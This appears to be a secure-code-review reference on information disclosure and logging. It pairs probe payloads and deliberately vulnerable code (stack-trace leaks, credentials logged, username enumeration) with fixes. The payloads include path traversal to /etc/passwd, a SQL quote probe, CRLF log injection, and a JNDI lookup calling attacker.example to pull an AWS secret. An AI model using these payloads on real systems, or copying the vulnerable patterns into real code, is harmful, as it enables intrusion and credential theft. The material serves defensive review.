Skip to content

4.7 Code Reference — Review Information Disclosure and Logging

Error page disclosure

From former 4-22-review-error-page-disclosure.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Error page disclosure.

4.22 Code Reference — Review Error Page Disclosure

Attack Payloads

Use these in authorized tests to trigger failures and inspect responses. Goal is to see whether stack traces, paths, or versions leak—not to exploit injection.

Pattern 1: Type and format errors

GET /api/users/not-a-number HTTP/1.1
POST /api/order {"quantity": "abc"} HTTP/1.1
Content-Type: application/json

{"id": null}

Pattern 2: Missing resources and path probes

GET /api/users/999999999 HTTP/1.1
GET /../../../etc/passwd HTTP/1.1
GET /%00/report HTTP/1.1

Pattern 3: Database and query failures

GET /search?q=' HTTP/1.1
GET /report?sort=invalid_column HTTP/1.1

May return SQL syntax fragments, table names, or ORM query text in the body.

Pattern 4: Unhandled exceptions in business logic

POST /transfer {"amount": -1, "to": ""} HTTP/1.1
GET /export?format=__invalid__ HTTP/1.1

Divide-by-zero, null dereference, or assertion failures if not caught by a generic handler.

Pattern 5: Debug and health endpoints

GET /error?debug=1 HTTP/1.1
GET /__debug__/ HTTP/1.1
TRACE / HTTP/1.1

Language-Specific Sinks and Dangerous APIs

Find code paths that write exception details, stack traces, or framework diagnostics into HTTP responses.

Python

import traceback
return {"trace": traceback.format_exc()}, 500
app.run(debug=True)
# Flask/Werkzeug debugger, Django DEBUG=True in prod settings

Django: DEBUG template with stack trace. FastAPI: unhandled exception returns default detail with path.

Java

e.printStackTrace(response.getWriter());
return ResponseEntity.status(500).body(e.toString());
server.error.include-stacktrace=always

Spring Boot: server.error.include-message, include-binding-errors. Servlet container default error pages.

C

catch (Exception ex) {
    return Content(ex.ToString());
}
app.UseDeveloperExceptionPage();  // enabled in Production

ASP.NET Core: DeveloperExceptionPageMiddleware, IncludeErrorDetail=true on APIs.

JavaScript (Node.js)

res.status(500).json({ error: err.message, stack: err.stack });
app.use((err, req, res, next) => res.send(err.stack));
process.env.NODE_ENV = 'development';

Express error handler returning err.stack; Next.js dev overlay config in production build.

Go

http.Error(w, err.Error(), 500)
fmt.Fprintf(w, "%+v\n", debug.Stack())

panic without recover middleware; log.Printf then echoing err to client.

PHP

catch (Exception $e) { echo $e->getTraceAsString(); }
ini_set('display_errors', '1');

Laravel APP_DEBUG=true in deployed .env.

Reverse proxy / server config

# Default nginx/Apache 502 pages with version
proxy_intercept_errors off;  # upstream stack body passed through

Vulnerable Examples in Other Languages

Java

try {
    processOrder(orderId);
} catch (Exception e) {
    e.printStackTrace(response.getWriter());
}

C

catch (Exception ex)
{
    return StatusCode(500, new { message = ex.Message, stack = ex.StackTrace });
}

Go

func handler(w http.ResponseWriter, r *http.Request) {
    if err := runJob(); err != nil {
        w.WriteHeader(http.StatusInternalServerError)
        fmt.Fprintf(w, "%+v", err)
        return
    }
}

Fix: Safer Patterns and Libraries to Use

Python

Register error handlers that return generic messages. Log full exceptions server-side with a correlation ID.

import traceback
import logging
import uuid
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()
logger = logging.getLogger("reports")

@app.exception_handler(Exception)
async def handle_error(request, exc):
    request_id = str(uuid.uuid4())
    logger.exception("unhandled error request_id=%s", request_id)
    return JSONResponse(
        {"error": "An internal error occurred.", "request_id": request_id},
        status_code=500,
    )

@app.get("/reports/run")
async def run_report():
    return await generate_report()

Important: Keep Django DEBUG=False in production. Use handler500 and logging settings for details. Never return traceback.format_exc() to users.

Java

Map errors to static pages in web.xml. Configure Spring Boot to exclude stack traces in production.

<error-page>
  <exception-type>java.lang.Exception</exception-type>
  <location>/error/generic.html</location>
</error-page>
<error-page>
  <error-code>500</error-code>
  <location>/error/500.html</location>
</error-page>
# application-prod.properties
server.error.include-stacktrace=never
server.error.include-message=never
server.error.include-exception=false
@ControllerAdvice
public class GlobalErrors {
    private static final Logger log = LoggerFactory.getLogger(GlobalErrors.class);

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ProblemDetail> handle(Exception ex) {
        String id = UUID.randomUUID().toString();
        log.error("request_id={}", id, ex);
        ProblemDetail body = ProblemDetail.forStatus(HttpStatus.INTERNAL_SERVER_ERROR);
        body.setTitle("Internal error");
        body.setProperty("request_id", id);
        return ResponseEntity.status(500).body(body);
    }
}

Important: Log full exceptions with SLF4J. Return RFC 7807 Problem Details without internal paths in public APIs.

C

Use exception handler middleware in production. Restrict developer exception page to Development environment.

if (app.Environment.IsDevelopment())
{
    app.UseDeveloperExceptionPage();
}
else
{
    app.UseExceptionHandler("/error");
    app.UseHsts();
}

app.Map("/error", () => Results.Problem(
    title: "An error occurred.",
    statusCode: StatusCodes.Status500InternalServerError));
catch (Exception ex)
{
    var requestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier;
    _logger.LogError(ex, "Unhandled error {RequestId}", requestId);
    return StatusCode(500, new { error = "An internal error occurred.", requestId });
}

Important: Set DetailedErrors=false in production. Map to ProblemDetails without stack traces.

Go

Return generic HTTP errors. Log errors with structured logging and recover from panics in middleware.

func handler(w http.ResponseWriter, r *http.Request) {
    if err := runJob(); err != nil {
        requestID := middleware.RequestIDFromContext(r.Context())
        slog.Error("job failed", "request_id", requestID, "err", err)
        http.Error(w, "internal error", http.StatusInternalServerError)
        return
    }
}

func recoverMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        defer func() {
            if rec := recover(); rec != nil {
                slog.Error("panic", "recover", rec)
                http.Error(w, "internal error", http.StatusInternalServerError)
            }
        }()
        next.ServeHTTP(w, r)
    })
}

Important: Disable Gin/Echo debug mode in production. Use nginx or Envoy custom error pages as defense in depth.

Sensitive data in URL

From former 4-23-review-sensitive-data-in-url.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Sensitive data in URL.

4.23 Code Reference — Review Sensitive Data in URL

Attack Payloads

Use these in authorized tests when secrets may appear in GET URLs, redirects, or Referer headers. Replace placeholders with your test values.

Pattern 1: Credentials in query string (login abuse scenario)

GET /login?user=admin&password=Secret123! HTTP/1.1
Host: app.example

The same request may be stored in proxy access logs, browser history, and analytics that capture full URIs.

Pattern 2: API key and bearer token in URL

GET /api/report?api_key=sk_live_abc123 HTTP/1.1
GET /download?access_token=eyJhbGciOiJIUzI1NiJ9... HTTP/1.1
GET /reset/confirm?token=8f3c2a1b9e7d4f6a HTTP/1.1
GET /magic-login?session=deadbeefcafebabe HTTP/1.1

Shareable links and email clients may retain the full URL indefinitely.

Pattern 4: Redirect that echoes secrets

HTTP/1.1 302 Found
Location: /dashboard?token=eyJhbGciOiJIUzI1NiJ9...

Pattern 5: Referer exfiltration to third party

<a href="https://analytics.example/landing">Continue</a>

When the prior page URL is https://app.example/home?token=SECRET, the browser may send:

Referer: https://app.example/home?token=SECRET

Pattern 6: OAuth and SSO callback tokens in query

GET /oauth/callback?code=AUTH_CODE&state=xyz HTTP/1.1
GET /sso/callback?access_token=LONG_LIVED_TOKEN HTTP/1.1

Language-Specific Sinks and Dangerous APIs

Search for bindings and builders that place secrets in the URL path or query string.

Python

pwd = request.args.get("password")
return redirect(f"/home?user={user}&token={token}")
logger.info("login url=%s", request.url)  # full URI with query

Flask request.url, request.full_path; FastAPI Query() on sensitive fields; Django request.GET["password"].

Java

@GetMapping("/auth")
public void auth(@RequestParam String password) { ... }

resp.sendRedirect("/app?token=" + accessToken);
String uri = req.getRequestURI() + "?" + req.getQueryString();
log.info("request {}", uri);

Spring @RequestParam on GET login; servlet getQueryString() logged verbatim.

C

[HttpGet("auth")]
public IActionResult Auth([FromQuery] string password) { ... }

return Redirect($"/dashboard?token={accessToken}");
_logger.LogInformation("Request {Url}", Request.GetDisplayUrl());

JavaScript

const token = new URLSearchParams(location.search).get("token");
window.location = `/app?api_key=${apiKey}`;
fetch(`/proxy?url=${encodeURIComponent(secretUrl)}`);

Front-end routers that sync tokens into history.pushState query params.

Go

pass := r.URL.Query().Get("password")
http.Redirect(w, r, "/home?token="+token, http.StatusFound)
log.Printf("uri=%s", r.URL.String())

Access and APM logging

# nginx / load balancer access log line
GET /login?password=Secret123! HTTP/1.1" 200

Vulnerable Examples in Other Languages

Java

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String email = req.getParameter("email");
        String password = req.getParameter("password");
        if (email != null && password != null) {
            authenticate(email, password);
        }
        req.getRequestDispatcher("/login.jsp").forward(req, resp);
    }
}

@GetMapping("/reset/confirm")
public String confirmReset(@RequestParam String token, Model model) {
    model.addAttribute("token", token); // token visible in browser address bar
    return "reset-form";
}

C

[HttpGet("auth")]
public IActionResult Auth([FromQuery] string username, [FromQuery] string password)
{
    var ok = _auth.Validate(username, password);
    return ok ? Ok() : Unauthorized();
}

[HttpGet("sso/callback")]
public IActionResult SsoCallback([FromQuery] string accessToken)
{
    // Token in query string — logged by proxies and sent in Referer
    SignInWithToken(accessToken);
    return Redirect($"/dashboard?token={accessToken}");
}

Go

func login(w http.ResponseWriter, r *http.Request) {
    user := r.URL.Query().Get("user")
    pass := r.URL.Query().Get("pass")
    if authenticate(user, pass) {
        http.Redirect(w, r, "/home", http.StatusFound)
    }
}

func apiProxy(w http.ResponseWriter, r *http.Request) {
    key := r.URL.Query().Get("api_key")
    resp, _ := http.Get("https://partner.example/api?key=" + key)
    io.Copy(w, resp.Body)
}

Fix: Safer Patterns and Libraries to Use

Python

Accept credentials only on POST. Reject GET with password parameters. Put API keys in headers, not query strings.

from flask import Flask, request, redirect, render_template
from flask.views import MethodView

app = Flask(__name__)

class LoginView(MethodView):
    def get(self):
        return render_template("login.html")

    def post(self):
        user = request.form["user"]
        pwd = request.form["password"]
        if do_login(user, pwd):
            return redirect("/home")  # clean URL, no echoed secrets
        return render_template("login.html", error="Invalid credentials"), 401

app.add_url_rule("/login", view_func=LoginView.as_view("login"), methods=["GET", "POST"])
# API keys belong in headers, not query strings
from fastapi import Header, HTTPException

async def verify_api_key(x_api_key: str = Header(..., alias="X-API-Key")):
    if not valid_key(x_api_key):
        raise HTTPException(status_code=401)

Important: After login or reset, redirect to URLs that strip tokens from the visible address bar.

Java

Use POST-only form login. Configure access logging to omit query strings on sensitive paths.

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {
    String email = req.getParameter("email");
    String password = req.getParameter("password");
    authenticate(email, password);
    resp.sendRedirect(req.getContextPath() + "/home");
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {
    req.getRequestDispatcher("/login.jsp").forward(req, resp);
}
// Spring Security: form login POST endpoint only
http.formLogin(form -> form.loginPage("/login").loginProcessingUrl("/login"));

C

Bind credentials from the form body. Disable GET on the same action.

[HttpPost("auth")]
public IActionResult Auth([FromForm] string username, [FromForm] string password)
{
    var ok = _auth.Validate(username, password);
    return ok ? RedirectToAction("Home") : Unauthorized();
}
// Response header on sensitive pages
Response.Headers["Referrer-Policy"] = "no-referrer";

Go

Read credentials only after confirming POST. Return 405 for GET with password query params.

func login(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
        return
    }
    if err := r.ParseForm(); err != nil {
        http.Error(w, "bad request", http.StatusBadRequest)
        return
    }
    user := r.FormValue("user")
    pass := r.FormValue("pass")
    if authenticate(user, pass) {
        http.Redirect(w, r, "/home", http.StatusSeeOther)
    }
}

Username enumeration

From former 4-24-review-username-enumeration.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Username enumeration.

4.24 Code Reference — Review Username Enumeration

Attack Payloads

Use these in authorized tests on login, registration, and password reset. Compare body, status code, headers, and timing for known-valid versus unknown identifiers.

Pattern 1: Distinct error messages (login abuse scenario)

POST /login
{"user":"known@victim.com","password":"wrong"}
→ {"error":"Invalid password"}

POST /login
{"user":"unknown@attacker.com","password":"wrong"}
→ {"error":"User does not exist"}

Pattern 2: HTTP status discrepancy

POST /reset {"email":"registered@victim.com"} → 200 OK
POST /reset {"email":"notregistered@x.com"}    → 404 Not Found

Pattern 3: Registration and invite flows

POST /register {"email":"taken@victim.com"}
→ {"error":"Email already registered"}

POST /register {"email":"new@attacker.com"}
→ {"ok":true}

Pattern 4: JSON existence flags

{"exists": true, "message": "Check your email"}
{"exists": false, "message": "No account found"}

Pattern 5: Timing side channel

Repeated requests for unknown emails may return faster when the server skips mail queue or DB work. Measure response time distributions across many samples.

Pattern 6: Password reset email behavior

Observe whether an outbound email is sent only when the account exists, or whether UI text differs ("We sent a link" vs "Unknown user").

Language-Specific Sinks and Dangerous APIs

Search for branches that return different content when a user record is missing versus present.

Python

if not user:
    return jsonify({"error": "No account with that email"}), 404
return jsonify({"error": "Invalid password"})  # reveals valid user

Django authenticate followed by distinct messages; Flask flash() with different strings.

Java

if (user == null) {
    resp.sendError(404, "User not found");
} else {
    resp.sendError(401, "Bad password");
}
return Map.of("registered", user != null);

Spring Security custom AuthenticationFailureHandler with per-case messages.

C

if (user == null)
    return NotFound("Email not registered");
return Unauthorized("Wrong password");

ASP.NET Identity error descriptions exposed to the client.

JavaScript

if (!user) return res.status(404).json({ error: "Unknown email" });
return res.status(401).json({ error: "Wrong password" });

Go

if user == nil {
    http.Error(w, "no such user", http.StatusNotFound)
    return
}

HTML and template leaks

<!-- Reset form only rendered when user exists -->
{% if user_found %}<p>Email sent</p>{% else %}<p>Unknown account</p>{% endif %}

Vulnerable Examples in Other Languages

Java

@PostMapping("/reset")
public String reset(@RequestParam String username, Model model) {
    Optional<User> user = userRepository.findByUsername(username);
    if (user.isEmpty()) {
        model.addAttribute("message", "User does not exist");
        return "reset";
    }
    mailService.sendReset(user.get());
    model.addAttribute("message", "The password reset link has been sent to you.");
    return "reset";
}

@PostMapping("/register")
public ResponseEntity<?> register(@RequestBody RegisterRequest req) {
    if (userRepository.existsByEmail(req.getEmail())) {
        return ResponseEntity.status(409).body(Map.of("error", "Email already registered"));
    }
    userRepository.save(new User(req.getEmail(), req.getPassword()));
    return ResponseEntity.ok(Map.of("message", "Account created"));
}

C

[HttpPost("forgot-password")]
public async Task<IActionResult> ForgotPassword([FromForm] string email)
{
    var user = await _users.FindByEmailAsync(email);
    if (user == null)
        return BadRequest("Unknown email address.");
    await _email.SendResetAsync(user);
    return Ok("Check your email.");
}

[HttpPost("login")]
public IActionResult Login([FromBody] LoginDto dto)
{
    var user = _users.FindByName(dto.Username);
    if (user == null)
        return Unauthorized(new { error = "user_not_found" });
    if (!_hasher.Verify(dto.Password, user.PasswordHash))
        return Unauthorized(new { error = "bad_password" });
    return Ok(SignIn(user));
}

Go

func forgot(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    u, err := store.UserByEmail(email)
    if err == sql.ErrNoRows {
        http.Error(w, "user not found", http.StatusNotFound)
        return
    }
    mailer.SendReset(u)
    w.Write([]byte("email sent"))
}

func register(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    if store.EmailExists(email) {
        http.Error(w, "email already registered", http.StatusConflict)
        return
    }
    store.CreateUser(email, r.FormValue("password"))
    w.WriteHeader(http.StatusCreated)
}

Fix: Safer Patterns and Libraries to Use

Python

Return the same message and status regardless of lookup result. Send email only server-side when the user exists.

from flask import Flask, request, render_template

app = Flask(__name__)
GENERIC_RESET_MSG = "If an account exists for that email, we sent reset instructions."

@app.post("/reset")
def reset():
    email = request.form["email"]
    user = User.query.filter_by(email=email).first()
    if user:
        send_reset(user)
    # Always the same response — no branch on user is None
    return render_template("reset_sent.html", message=GENERIC_RESET_MSG), 200
import time
import bcrypt

DUMMY_HASH = bcrypt.hashpw(b"dummy", bcrypt.gensalt())

def verify_login(username, password):
    user = User.query.filter_by(username=username).first()
    if user:
        return bcrypt.checkpw(password.encode(), user.password_hash.encode())
    # Align timing when user is missing
    bcrypt.checkpw(password.encode(), DUMMY_HASH)
    return False

Important: Rate-limit reset and login endpoints per IP and identifier to slow enumeration even with uniform responses.

Java

Use consistent messaging. Perform similar work when the user is absent to reduce timing gaps.

private static final String RESET_MESSAGE =
    "If an account exists, we sent password reset instructions.";

public void handleReset(HttpServletRequest req, HttpServletResponse resp) {
    String username = req.getParameter("username");
    Optional<User> user = userRepository.findByUsername(username);
    user.ifPresent(u -> {
        String token = tokenService.createResetToken(u);
        mailService.sendReset(u.getEmail(), token);
    });
    req.setAttribute("message", RESET_MESSAGE);
    doForward(req, resp);
}

C

Return identical response body and status for found and not-found email on reset.

private const string ResetMessage =
    "If an account exists for that email, we sent reset instructions.";

[HttpPost("forgot-password")]
public IActionResult ForgotPassword([FromForm] string email)
{
    var user = await _users.FindByEmailAsync(email);
    if (user != null)
        await _email.SendResetAsync(user);
    return Ok(ResetMessage);
}

Go

Use one success response for forgot-password regardless of ErrNoRows.

const resetMsg = "If an account exists for that email, we sent reset instructions."

func forgot(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    u, err := store.UserByEmail(email)
    if err == nil {
        mailer.SendReset(u)
    }
    w.WriteHeader(http.StatusOK)
    w.Write([]byte(resetMsg))
}

Sensitive logging

From former 4-26-review-sensitive-logging.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Sensitive logging.

4.26 Code Reference — Review Sensitive Logging

Attack Payloads

These are abuse scenarios for what attackers or insiders may recover from logs—not payloads to send to the app. Use them to design log review checklists and redaction tests.

Pattern 1: Credential capture in application logs

INFO login attempt user=admin password=Secret123!
DEBUG auth body={"password":"x","token":"eyJ..."}

Pattern 2: Token and session leakage

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Set-Cookie: session=deadbeef; Path=/
API key validated: sk_live_abc123xyz

Pattern 3: Payment and regulated data

card=4111111111111111 cvv=123 exp=12/29
ssn=123-45-6789

Pattern 4: Log injection via user-controlled fields (secondary risk)

username=admin%0aINFO Forged audit: admin logged in

Newline or forged severity in usernames may confuse parsers or SIEM rules.

Pattern 5: Exception and stack trace disclosure

SQLException: connection failed for user 'dbadmin' password 'DbP@ss!' at jdbc:mysql://internal-db:3306/prod

Pattern 6: Full request dumps in debug mode

REQUEST_HEADERS={... Authorization: Bearer ... Cookie: session=...}
REQUEST_BODY={"password":"..."}

Language-Specific Sinks and Dangerous APIs

Search for log calls and serializers that include request objects, headers, or exception messages with user data.

Python

logger.info("login %s %s", user, password)
logger.debug("headers %s body %s", request.headers, request.get_data())
app.logger.exception(e)  # may include SQL with secrets

print(request.json) in containers; structlog with unfiltered request dict.

Java

log.info("token={}", accessToken);
log.debug("request {}", request.toString());
e.printStackTrace();  // stderr captured by log agents

Log4j/SLF4J MDC with full Authorization header; Spring CommonsRequestLoggingFilter without masking.

C

_logger.LogInformation("Password {Pwd}", password);
_logger.LogDebug("Request {@Request}", request);

Serilog destructuring of entire request DTOs; ILogger with connection strings in messages.

JavaScript

console.log("auth", req.headers.authorization, req.body);
logger.info({ headers: req.headers, body: req.body });

Winston/Pino serializers that pass through req unchanged.

Go

log.Printf("login user=%s pass=%s", user, pass)
log.Printf("req=%+v", r)  // may dump Authorization header

Access and infrastructure logs

# nginx — full URI with secrets if clients use GET login
GET /login?password=secret HTTP/1.1

Vulnerable Examples in Other Languages

Java

public void login(String username, String password) {
    logger.info("Login attempt user={} password={}", username, password);
    boolean ok = authService.authenticate(username, password);
    logger.info("Login result user={} success={}", username, ok);
}

@ExceptionHandler(Exception.class)
public ResponseEntity<String> handleError(Exception ex, HttpServletRequest req) {
    logger.error("request failed uri={} query={} body={}",
        req.getRequestURI(), req.getQueryString(), readBody(req), ex);
    return ResponseEntity.status(500).body(ex.getMessage());
}

C

[HttpPost("pay")]
public IActionResult Pay([FromBody] PaymentRequest req)
{
    _logger.LogDebug("charge payload {@Card}", req.Card);
    return Ok(_billing.Charge(req));
}

[HttpGet("admin/sync")]
public IActionResult Sync()
{
    _logger.LogInformation("API call Authorization: {Auth}",
        Request.Headers["Authorization"]);
    return Ok(_sync.Run());
}

Go

func reset(w http.ResponseWriter, r *http.Request) {
    token := generateToken()
    log.Printf("issued reset token=%s for %s", token, r.FormValue("email"))
    mailer.SendReset(r.FormValue("email"), token)
}

func pay(w http.ResponseWriter, r *http.Request) {
    var payload map[string]interface{}
    json.NewDecoder(r.Body).Decode(&payload)
    log.Printf("charge request=%+v", payload) // may include PAN and CVV
    processPayment(payload)
}

Fix: Safer Patterns and Libraries to Use

Python

Log event metadata, not secrets. Use filters to redact sensitive keys before emit.

import logging
import re

SENSITIVE_KEYS = re.compile(r"(password|token|secret|authorization|cvv|pan)", re.I)

class RedactFilter(logging.Filter):
    def filter(self, record):
        if isinstance(record.msg, str):
            record.msg = SENSITIVE_KEYS.sub("[REDACTED]", record.msg)
        return True

@app.post("/pay")
def pay():
    payload = request.json
    current_app.logger.info(
        "charge_attempt user_id=%s amount=%s result=pending",
        session.get("user_id"),
        payload.get("amount"),
    )
    return charge(payload)
# Register filter on the app logger
logging.getLogger("werkzeug").addFilter(RedactFilter())

Important: Never log request.data, request.form, or full headers on authentication routes.

Java

Use structured logging with fixed fields. Never pass raw passwords to the logger.

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.MDC;

private static final Logger log = LoggerFactory.getLogger(AuthService.class);

public void login(String username, String password) {
    MDC.put("event", "LOGIN_ATTEMPT");
    MDC.put("username", username);
    boolean ok = authenticate(username, password);
    log.info("login result={}", ok ? "SUCCESS" : "FAILURE");
    MDC.clear();
}

C

Use explicit log templates. Do not pass raw header dictionaries.

_logger.LogInformation(
    "Login attempt for user {UserId} result {Result}",
    userId,
    success ? "Success" : "Failure");
// Serilog destructuring policy example
Log.Logger = new LoggerConfiguration()
    .Destructure.ByTransforming<LoginRequest>(r => new { r.Username })
    .CreateLogger();

Go

Use slog with an allowlist of attributes. Implement LogValuer for types that redact secrets.

import "log/slog"

func handleLogin(w http.ResponseWriter, r *http.Request) {
    user := r.FormValue("user")
    ok := authenticate(user, r.FormValue("pass"))
    slog.Info("login_attempt",
        slog.String("user", user),
        slog.String("result", map[bool]string{true: "success", false: "failure"}[ok]),
    )
}
type redactedString string

func (s redactedString) LogValue() slog.Value {
    return slog.StringValue("[REDACTED]")
}

Secure logging

From former 4-40-review-secure-logging.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Secure logging.

4.40 Code Reference — Review Secure Logging

Attack Payloads

Use these in authorized tests when user input appears in log messages or when reviewing log aggregation exposure.

Pattern 1: Log injection (CRLF / forged lines)

username=admin%0aINFO User admin logged out successfully
username=legit%0d%0aERROR Security audit: privilege escalation approved
event=checkout%0a2024-06-01 WARN refund approved txn=99999 amount=50000

Forged newlines may confuse operators or SIEM parsers that treat each line as a separate event.

Pattern 2: Log forging via Unicode / homoglyphs

username=аdmin  # Cyrillic 'а' — looks like "admin" in log review
username=\u001b[31madmin  # ANSI escape in terminals that render color

Pattern 3: Sensitive data in query strings (Referer leakage)

GET /login?username=victim&password=Secret123
Referer: https://app.example/dashboard?token=eyJhbG...

Even when not logged by the app, proxies and analytics may capture query parameters.

Pattern 4: Verbose exception logging

# Trigger validation error; stack trace includes:
# connection string, API key in local variable dump, Authorization header

Pattern 5: Log4Shell-style JNDI (legacy)

${jndi:ldap://attacker.example/a}
${env:AWS_SECRET_ACCESS_KEY}

Review JNDI lookup patterns in Java logging configuration for legacy deployments.

Language-Specific Sinks and Dangerous APIs

Python

app.logger.info("Login user=%s password=%s", user, password)
logger.debug("Request: %s", request)  # entire Flask/Django request
logger.info(f"Token: {token}")
structlog.get_logger().info("auth", authorization=headers["Authorization"])
print(request.headers)  # stdout captured by container logs
logging.basicConfig(level=logging.DEBUG)  # in production settings

Also review: urllib3 debug, SQLAlchemy echo=True, Celery task logs with args.

Java

logger.info("Login user={} password={}", username, password);
log.debug("JWT {}", jwtToken);
System.out.println("DB URL: " + jdbcUrl);
log.error("Failed payment", exception);  // exception message contains PAN
MDC.put("ssn", ssn);  // mapped diagnostic context in every line
org.apache.logging.log4j.core.lookup.JndiLookup  // legacy config

C

_logger.LogInformation("Password {Password}", password);
_logger.LogDebug("Request {@Request}", request);  // destructures all properties
Console.WriteLine($"Connection: {connectionString}");
_logger.LogError(ex, "Payment failed for {Pan}", cardNumber);
Serilog destructuring of sensitive objects without masking

Go

log.Printf("login user=%s password=%s", user, pass)
log.Printf("auth header=%s", r.Header.Get("Authorization"))
fmt.Println(req)  // httputil.DumpRequest output
zap.String("token", token)
log.SetFlags(log.LstdFlags | log.Lshortfile) // with secrets in messages

JavaScript

console.log('User login:', { username, password });
console.log('Headers:', req.headers);
logger.info(`Stripe key: ${process.env.STRIPE_SECRET}`);
debug('session', req.session);  // debug package in production

Shell / infrastructure

export DATABASE_URL="postgres://user:pass@host/db"  # visible in /proc, docker inspect
kubectl logs deployment/api  # env vars printed at startup

Vulnerable Examples in Other Languages

Java

logger.info("Login attempt user={} password={}", username, password);

public void login(String username, String password) {
    if (authenticate(username, password)) {
        String sessionId = createSession(username);
        logger.info("Login ok session={}", sessionId);
    }
}

logger.info("Reset link for {}: {}", email, resetToken);
logger.error("DB connection failed: {}", jdbcUrlWithCredentials);

C

_logger.LogInformation("Login attempt user={User} password={Password}", username, password);

_logger.LogInformation("User {UserId} authenticated with token {Token}", userId, accessToken);
_logger.LogInformation("Reset link for {Email}: {Token}", email, resetToken);
_logger.LogError(ex, "Payment failed for card {Pan}", payment.CardNumber);

Go

func login(w http.ResponseWriter, r *http.Request) {
    user := r.FormValue("username")
    pass := r.FormValue("password")
    log.Printf("login attempt user=%s password=%s", user, pass)
    if authenticate(user, pass) {
        sid := createSession(user)
        log.Printf("login ok session=%s auth=%s", sid, r.Header.Get("Authorization"))
    }
}

func reset(w http.ResponseWriter, r *http.Request) {
    token := issueResetToken(r.FormValue("email"))
    log.Printf("issued reset token=%s for %s", token, r.FormValue("email"))
}

Fix: Safer Patterns and Libraries to Use

Python

Log security events with correlation IDs, not credentials. Redact sensitive keys in structured logs.

import logging
import structlog

def redact_sensitive(_, __, event_dict):
    for key in ("password", "token", "authorization", "cookie"):
        if key in event_dict:
            event_dict[key] = "[REDACTED]"
    return event_dict

structlog.configure(processors=[redact_sensitive, structlog.processors.JSONRenderer()])
log = structlog.get_logger()

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]
    if authenticate(username, password):
        log.info("login_success", user_id=user_id_for(username), event="LOGIN_SUCCESS")
        return redirect("/dashboard")
    log.warning("login_failure", username=username, event="LOGIN_FAILURE")
    return "failed", 401

Set LOG_LEVEL=INFO in production. See Python logging and structlog.

Java

Use parameterized logging without secrets. Add redaction filters for known patterns.

logger.info("Login attempt user={} outcome={}", username, success ? "SUCCESS" : "FAILURE");

public class RedactFilter extends Filter<ILoggingEvent> {
    @Override
    public FilterReply decide(ILoggingEvent event) {
        if (event.getFormattedMessage().contains("password=")) {
            return FilterReply.DENY;
        }
        return FilterReply.NEUTRAL;
    }
}

Align event coverage with OWASP Application Security Verification Standard logging requirements.

C

Use ILogger with explicit templates. Mask sensitive properties in Serilog destructuring.

_logger.LogInformation("Login {Outcome} for user {UserId}", outcome, userId);

Log.Logger = new LoggerConfiguration()
    .Destructure.ByTransforming<PaymentInfo>(p => new { p.TransactionId, Pan = "[REDACTED]" })
    .CreateLogger();

Configure Application Insights telemetry filters to drop Authorization headers.

Go

Log user IDs and correlation IDs, not raw Authorization headers or passwords.

logger.Info("login",
    zap.String("event", "LOGIN_SUCCESS"),
    zap.String("user_id", userID),
    zap.String("correlation_id", correlationID),
)

func auditAdmin(action, actor string) {
    auditLogger.Info(action,
        zap.String("actor", actor),
        zap.Time("at", time.Now().UTC()),
    )
}

Never dump full requests with httputil.DumpRequest in production middleware.

Sensitive code comments

From former 4-32-review-sensitive-code-comments.md. Guiding chapter section: 4.7 - Review Information Disclosure and Logging § Sensitive code comments.

4.32 Code Reference — Review Sensitive Code Comments

Attack Payloads

Use repository search and page-source review—these are disclosure abuse scenarios, not network payloads.

Pattern 1: Credentials in source comments

# FIXME: staging webhook uses shared secret 'wh_staging_4b7n' until vault is wired
# Datadog key for on-call dashboard: dd_api_EXAMPLE_PLACEHOLDER_xxxxxxxx

Pattern 2: Authentication bypass hints

// HACK: set userId=0 in query to skip billing check
// For QA only: header X-Debug: bypass-mfa

Pattern 3: Internal topology in comments

# Connects to prod-db.internal.corp:5432 / db=payments
<!-- Legacy admin: https://10.0.0.5:8443/console -->

Pattern 4: HTML comments visible in browser

<!-- build 2024-03-01 internal token: BUILD_SECRET_abc -->

View-source or cached pages expose these to unauthenticated users.

Pattern 5: Commented-out security controls

// if (!User.IsInRole("Admin")) return Forbid();
// ValidateSignature(payload);  // disabled for demo

Pattern 6: Javadoc and docstrings shipped to clients

@param apiSecret the shared secret (currently "hunter2")

Generated API docs may publish comment text.

Language-Specific Sinks and Dangerous APIs

Search comments and doc blocks—these are not runtime sinks but disclosure surfaces that travel with builds.

Python

"""Authenticate with service key sk_live_xxx."""
# password = os.environ.get("PWD", "default-secret")

Module docstrings, # noqa blocks, Sphinx-generated HTML.

Java

/** Test user: admin / Passw0rd! */
// @deprecated use backdoor account "support" with pin 0000

Javadoc published to Maven sites; // in shipped JSP source.

C

/// <summary>Uses HMAC key: supersecretkey</summary>
// TODO: re-enable [Authorize] after demo

XML doc comments in IntelliSense and NuGet packages.

JavaScript

// STRIPE_SECRET=sk_live_...
/* FIXME: remove auth check for /api/internal */

Bundled source maps may retain comments; /*! license blocks with keys.

HTML / templates

<!-- admin:admin@internal.vpn -->

Thymeleaf <!--/* ... */-->, JSP comments in rendered output.

Go

// dbURL := "postgres://user:pass@host/db"

Godoc pages from exported packages.

Search patterns for review

password|passwd|secret|api[_-]?key|token|bearer|sk_live|AKIA
